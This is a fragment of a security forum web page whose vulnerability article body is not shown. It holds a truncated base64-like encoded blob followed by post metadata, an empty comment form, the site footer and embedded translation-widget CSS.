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
|
|||
|
|
</div>
|
|||
|
|
<div class="post-opt mt-30">
|
|||
|
|
<ul class="list-inline text-muted">
|
|||
|
|
<li>
|
|||
|
|
<i class="fa fa-clock-o"></i>
|
|||
|
|
发表于 2024-08-30 09:00:00
|
|||
|
|
</li>
|
|||
|
|
<li>阅读 ( 82 )</li>
|
|||
|
|
<li>分类：<a href=https://forum.butian.net/articles/OA target=_blank rel="noopenner noreferrer">OA产品</a>
|
|||
|
|
</li>
|
|||
|
|
<li><a href=# class=report_btn data-source_type=vulnerabilities_article data-source_id=561 data-toggle=modal data-target=#send_report_model><i class="fa fa-flag-o"></i> 举报</a></li>
|
|||
|
|
</ul>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="text-center mt-30 mb-20">
|
|||
|
|
<button id=support-button class="btn btn-success btn-lg mr-5" data-loading-text=加载中... data-source_type=article data-source_id=561 data-support_num=0> 0 推荐</button>
|
|||
|
|
<button id=collect-button class="btn btn-default btn-lg" data-loading-text=加载中... data-source_type=article data-source_id=561> 收藏</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="widget-answers mt-15">
|
|||
|
|
<h2 class="h4 post-title">0 条评论</h2>
|
|||
|
|
<div class=comment>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="widget-comment-form row mb-20">
|
|||
|
|
<form class=col-md-12>
|
|||
|
|
<div class=form-group>
|
|||
|
|
<textarea id=comment-content name=content placeholder=写下你的评论 class=form-control value></textarea>
|
|||
|
|
</div>
|
|||
|
|
</form>
|
|||
|
|
<div class="col-md-12 text-right">
|
|||
|
|
|
|||
|
|
<button type=submit data-token=3Pc1iiU7gFPnX4v6YCLymt20lxE5MuCVXQFHbYzN data-source_id=561 data-source_type=article class="btn btn-primary btn-sm ml-10 comment-btn">提交评论</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class=text-center>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<footer id=footer>
|
|||
|
|
<div class=container>
|
|||
|
|
<div class=text-center>
|
|||
|
|
<a href=https://forum.butian.net/>奇安信攻防社区</a><span class=span-line>|</span>
|
|||
|
|
<a href=mailto:butian_report@qianxin.com target=_blank rel="noopenner noreferrer">联系我们</a><span class=span-line>|</span>
|
|||
|
|
<a href=https://forum.butian.net/sitemap>sitemap</a>
|
|||
|
|
</div>
|
|||
|
|
<div class="copyright mt-10">
|
|||
|
|
Copyright © 2013-2023 BUTIAN.NET 版权所有 <a href=https://beian.miit.gov.cn/#/Integrated/index>京ICP备18014330号-2</a>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</footer>
|
|||
|
|
<div class="modal fade sf-hidden" id=sendTo_message_model tabindex=-1 role=dialog aria-labelledby=exampleModalLabel>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class="modal fade sf-hidden" id=send_report_model role=dialog aria-labelledby=exampleModalLabel>
|
|||
|
|
|
|||
|
|
</div> <div class="modal fade in sf-hidden" id=payment-qrcode-modal-article-561 tabindex=-1 role aria-labelledby=exampleModalLabel aria-hidden=false>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div style="display:none;position:fixed;top:40%;left:50%;z-index:9999;transform:translate(-50%,-50%);padding:3px 15px;border-radius:8px;background:rgba(120,120,120,0.7);box-shadow:1px 1px 3px 1px rgba(160,160,160,0.6);text-align:center;font-size:12px;color:#fff"></div><div id=windowLoading class="modal fade sf-hidden" tabindex=-1 role=dialog>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span id=cnzz_stat_icon_1279782571></span>
|
|||
|
|
<div class="geetest_panel geetest_wind" style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
|
|||
|
|
* Pico.css v1.5.6 (https://picocss.com)
|
|||
|
|
* Copyright 2019-2022 - Licensed under MIT
|
|||
|
|
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c
|